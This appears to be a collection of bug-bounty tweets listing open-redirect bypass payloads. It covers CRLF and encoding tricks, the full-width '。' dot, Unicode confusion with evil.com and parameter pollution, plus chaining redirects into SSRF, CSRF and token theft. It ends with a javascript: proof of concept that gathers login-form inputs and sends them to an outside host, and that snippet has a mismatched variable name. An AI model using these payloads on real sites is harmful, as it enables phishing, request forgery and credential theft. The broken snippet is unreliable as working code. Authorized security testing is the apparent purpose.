file.php?url=/admin/ Redirects to: http://website.com/admin/ Put URL [email protected] Now it is [email protected] which redirects to http://google.com!
#bugbountytip Got an Open Redirect like this before. Website redirected to its own URL with input appended to it. Input @mywebsite.com and alter conf of your site to not prompt for login. URL: [email protected] (browser thinks http://victim.com is user). #BugBounty
in some cases you can have an Open Redirect using %0d%0a and two "/" directly on the main url: http://victim//%0d%0ahttp://google.com/
#bugbounty #bugbountytip Try to change protocol to bypass open redirect protection. http://example.com -> ftp://example.com You might be lucky.
http:sitetoredirect , http%3asitetoredirect , http%253asitetoredirect
mostly works, for open redirect vulnerabilities.
Hold onto your open redirects. If you ever encounter SSRF then you can bypass same-origin filters using an open redirect. If they're just blocking localhost though, then create a redirect on your own website. #SSRF #infosec #CyberSecurity
Bug Bounty Tip: Always check the content of a Redirection Page (302/301). especially if it requires authentification. And remember a Redirection Page is a good place to test issues like CRLF injection and Open Redirection.
For open redirects, try using this character: 。The website thinks it's redirecting to a page on the site, but browsers convert it to a '.' thus completing the redirect. Usage: ?url=//google。com Goes to: https://google.com URL encoded: %E3%80%82
"/%0d/domain_address" is one of the best bypass in account takeover stealing tokens.
https://twitter.com/pdeomare/status/1205402391526486017
Found an interesting open redirect bypass today. Target would only allow *.target.com, but if you entered hxxp://evil.com%EF%BC%http://A1.target.com, the backed would return hxxp://evil.com/?.target.com :D #bugbounty #unicode
Bug bounty advice: If you have a GET request where developers added referer-based CSRF protection, use an on-site Open Redirect for this URL to get a whitelisted website in the Referer header. In the case when you have a POST request, try to change a method to GET.
Open Redirect Through HTTP Pollution Attack.
URL -> sub.dom-co/go/https/dom-co
1) sub.dom-co/go/https/dom-co.evil-co/ -> 404
2) sub.dom-co/go/https/dom-co/go/https/dom-co.evil-co/ -> Redirected To Evil website
#BugBounty #bugbountytip #infosec For Open Redirects you can bypass a lot of WAF using a special character which a lot of browsers (such as FireFox) convert into a '.' which will complete your URL. The character is: 。 Usage: redirecthere。com#CyberSecurity
When you find XSS over open redirect on sign-in/up pages, just capture the credentials and hijack them PoC: javascript:inpts=document.querySelectorAll('input');info='';for(i=0;i<inpts.length;i++){info+=','+inputs[i].value};location.href='https://xhze.em/?'+info
